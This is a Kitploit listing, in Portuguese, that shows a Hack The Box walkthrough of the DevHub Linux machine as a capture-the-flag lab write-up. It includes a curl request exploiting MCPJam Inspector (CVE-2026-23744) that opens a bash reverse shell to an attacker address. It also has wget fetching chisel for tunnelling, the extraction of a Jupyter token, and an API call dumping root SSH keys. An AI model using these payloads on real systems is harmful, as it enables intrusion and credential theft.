Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
DevHub-HTB-Walkthrough — Hack The Box - Walkthrough da máquina DevHub (Linux Médio, CVE-2026-23744, Tunelamento Chisel, Jupyter, Escalação de Privilégios Root) | Kitploit
Ferramentas/GitHubGitHub/timgad794/devhub-htb-walkthrough
Escalada de PrivilégiosReconhecimentoAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebCTFTestes de PenetraçãoAprendizado e Educação

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
GitHub
timgad794/devhub-htb-walkthrough

DevHub-HTB-Walkthrough

Hack The Box - Walkthrough da máquina DevHub (Linux Médio, CVE-2026-23744, Tunelamento Chisel, Jupyter, Escalação de Privilégios Root)

Ver Repositório
há 1 mêsAinda não revisado

DevHub – Passo a Passo HTB (Linux Médio)

Máquina: DevHub
Dificuldade: Médio
OS: Linux
Tópicos: CVE-2026-23744, Chisel Tunneling, Jupyter, Flask API, Escalação de Privilégios Root


📌 1. Reconhecimento

root@kitploit:~
nmap -sC -sV devhub.htb

Resultado:

  • Porta 22 (SSH)
  • Porta 80 (HTTP)
  • Porta 6274 (MCPJam Inspector)

📌 2. Ajustar o arquivo hosts

echo "10.x.x.x devhub.htb" >> /etc/hosts

📌 3. Explorar o site web

  • http://devhub.htb/ → Página inicial
  • http://devhub.htb:6274/ → MCPJam Inspector v1.4.2 (vulnerável ao CVE-2026-23744)

📌 4. Reverse Shell como mcp-dev

Terminal 1 – Listener:

nc -lvnp 4444

Terminal 2 – Payload:

curl -X POST http://devhub.htb:6274/api/mcp/connect
-H "Content-Type: application/json"
-d '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/10.x.x.x/4444 0>&1"],"env":{}},"serverId":"mytest"}'

✅ Shell como mcp-dev 📌 5. Configurar túnel Chisel

HTTP-Server (Atacante):

python3 -m http.server 8000 --bind 10.x.x.x

Chisel no alvo (shell mcp-dev):

cd /tmp wget http://10.x.x.x:8000/chisel chmod +x chisel

Servidor Chisel (Atacante):

./chisel server --reverse --port 9001

Cliente Chisel (shell mcp-dev):

./chisel client 10.x.x.x:9001 R:8888:127.0.0.1:8888 &

📌 6. Acesso ao Jupyter

Token (shell mcp-dev):

ps aux | grep jupyter | grep -v grep

Token: a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2xxxxxxxxxx

Navegador: http://localhost:8888/?token=... 📌 7. Obter a chave SSH de root (no Jupyter)

import requests, json

url = "http://127.0.0.1:5000/tools/call" headers = {"X-API-Key": "opsmcp_secret_key_4f5a6b7xxxxxxxxx", "Content-Type": "application/json"} payload = {"name": "ops._admin_dump", "args": {"target": "ssh_keys", "confirm": True}}

response = requests.post(url, headers=headers, json=payload) print(json.dumps(response.json(), indent=2))

📌 8. Logar como root

nano root_key

Inserir a chave

chmod 600 root_key ssh -i root_key [email protected]

📌 9. Flags

cat /root/root.txt cat /home/analyst/user.txt

Root-Flag:

08be4cfb68597d0f9edfccxxxxxxxxxx

Boa sorte! 🚀

Baixar ferramenta